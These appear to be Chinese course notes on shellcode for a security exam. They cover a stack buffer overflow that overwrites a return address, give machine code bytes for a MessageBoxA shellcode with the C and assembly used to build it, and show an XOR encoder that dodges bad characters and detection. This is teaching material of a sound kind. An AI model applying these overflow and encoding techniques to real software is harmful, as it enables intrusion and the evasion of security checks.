Shellcode

可了解

  • 漏洞利用(exploit):指利用已有漏洞(故有exploit就一定有漏洞,反之不一定),根据漏洞类型和特点采取相应的技术方案,进行尝试性或实质性攻击;(发起动作的代名词)

  • Shellcode:植入进程代码(实现具体功能)

  • payload:exploit的有效部分,负责触发漏洞,将控制权转移给shellcode(实际的完整结构)

需掌握(大题大题)

shellcode代码植入⭐⭐⭐

主要是利用溢出覆盖邻接变量以实现控制流劫持从而完成破解

对于一个Verify函数栈帧【buffer[44]+flag(4B)+前EBP(4B)】若想淹没此函数栈的返回地址,即要构建的代码块的第53~56字节(反写buffer的地址,其他的部分用90(NOP)填充)用于去覆盖掉返回地址

我们对获取函数入口地址的代码进行反汇编(比如获取一个MessageBoxA的地址为0x76670380),按照汇编指令转成对应的机器代码【33 DB 53 68 77 65 73 74 68 66 61 69 6C C4 53 50 53 B8 80 03 67 76 FF D0】(因为call是FF,在它前面的8位就是MessageBoxA的地址,考试的时候要放对位置和顺序,反着的),之后在HxD里用90填充到52字节,然后把buffer的地址写进去(也是反着的)

注:上述的机器代码其实可以在studio编写

1
2
3
4
5
#include<Windows.h>
int main(){
MessageBox(NULL,NULL,NULL,0);
return 0;
}

利用调试转到反汇编找到对应汇编代码,对于push 0要替换成xor ebx,ebx 之后用push ebx来实现

获取到了汇编代码就能用来写代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<Windows.h>
int main(){
LoadLibraryA("user32.dll"); //加载驱动
_asm{
xor ebx,ebx
push ebx
push ebx
push ebx
push ebx
mov eax,0x76670380 //MessageBox函数在系统的地址
}
return 0;
}

之后再转到反汇编

右键显示代码字节

点调试——窗口——内存——内存1,则可找到和刚才一样的的机器码33 DB 53 68 77 65 73 74 68 66 61 69 6C C4 53 50 53 B8 80 03 67 76 FF D0接下来就和之前的一样了。

构造字符串比如west,其ASCII码为”\x77\x65\x73\x74”(虽然push指令里字符顺序是反的但机器代码的字符顺序是正的)

shellcode编码⭐⭐⭐(要回补全编码程序)

绕过安全检测,绕过坏字符,字符串差异

编码程序是独立的,末尾用’\x90’作为结束符,完整的shellcode=解码程序+编码的shellcode;

其实刚才那串机器代码就是一个shellcode,直接把那串前加上\x就行

异或编码:将shellcode的每字节异或特定字符(如0x77)后得到异或后的shellcode。

1
2
3
4
5
6
7
8
9
10
/*关键代码块*/
...
for(i=0;i<len;i++){output[i]=input[i]^key} //按位异或
...
for(i=0;i<len;i++){fprintf(fp,"\\x%02x",output[i]);} //写入记事本
...
int main(){
char sc[]="\x90"; //0x90是结束符,中间不能有回车换行
encodee(sc,0x40);
}

第七章 结